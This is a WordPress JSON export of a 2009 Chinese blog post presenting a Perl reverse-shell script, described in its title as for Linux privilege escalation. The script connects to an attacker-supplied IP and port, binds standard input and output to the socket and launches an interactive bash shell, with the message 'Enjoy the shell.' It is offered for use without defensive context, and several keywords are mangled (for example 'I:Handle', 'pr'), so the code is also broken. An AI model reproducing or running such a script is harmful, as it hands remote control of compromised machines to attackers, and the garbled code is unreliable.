﻿{"id":314,"date":"2009-09-29T12:33:39","date_gmt":"2009-09-29T12:33:39","guid":{"rendered":""},"modified":"2011-11-18T17:05:45","modified_gmt":"2011-11-18T09:05:45","slug":"314","status":"publish","type":"post","link":"http:\/\/zerobox.org\/notes\/314.html","title":{"rendered":"linux\u4e0b\u63d0\u6743\u53cd\u5f39\u811a\u672c"},"content":{"rendered":"<p><span style=\"font-size: x-small;\"><span class=\"t_tag\" onclick=\"tagshow(event)\">linux<\/span>\u4e0b\u63d0\u6743\u53cd\u5f39\u811a\u672c\uff01\u4ee3\u7801\u5982\u4e0b<br \/>\n#!\/usr\/bin\/perl -w<br \/>\n#<\/p>\n<p>use strict;<br \/>\nuse Socket;<br \/>\nuse I:Handle;<\/p>\n<p>($#ARGV+1 != 2){<br \/>\npr &#8220;$#ARGV $0 Remote_IP Remote_Port<br \/>\n&#8220;;<br \/>\nexit 1;<br \/>\n}<\/p>\n<p>my $remote_ip = $ARGV[0];<br \/>\nmy $remote_port = $ARGV[1];<\/p>\n<p>my $proto = getprotobyname(&#8220;tcp&#8221;);<br \/>\nmy $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));<\/p>\n<p>my $shell = \u2019\/bin\/bash -i\u2019;<\/p>\n<p>(SOCK, AF_INET, SOCK_STREAM, $proto);<\/p>\n<p>STDOUT-&gt;autoflush(1);<br \/>\nSOCK-&gt;autoflush(1);<\/p>\n<p>connect(SOCK,$pack_addr) or die &#8220;can not connect:$!&#8221;;<\/p>\n<p>open STDIN, &#8220;&lt;&amp;SOCK&#8221;;<br \/>\nopen STDOUT, &#8220;&gt;&amp;SOCK&#8221;;<br \/>\nopen STDERR, &#8220;&gt;&amp;SOCK&#8221;;<\/p>\n<p>pr &#8220;Enjoy the shell.<br \/>\n&#8220;;<\/p>\n<p>system($shell);<br \/>\nclose SOCK;<\/p>\n<p>exit 0;<br \/>\n\u628a\u4ee5\u4e0a\u4ee3\u7801\u4fdd\u5b58\u4e3a*.pl<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>linux\u4e0b\u63d0\u6743\u53cd\u5f39\u811a\u672c\uff01\u4ee3\u7801\u5982\u4e0b #!\/usr\/bin\/perl -w # u &hellip;<\/p>\n<p class=\"read-more\"><a href=\"http:\/\/zerobox.org\/notes\/314.html\">\u7ee7\u7eed\u9605\u8bfb &raquo;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[29],"class_list":["post-314","post","type-post","status-publish","format-standard","hentry","tag-linux-2"],"views":835,"_links":{"self":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/314","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/comments?post=314"}],"version-history":[{"count":0,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/314\/revisions"}],"wp:attachment":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/media?parent=314"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/categories?post=314"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/tags?post=314"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}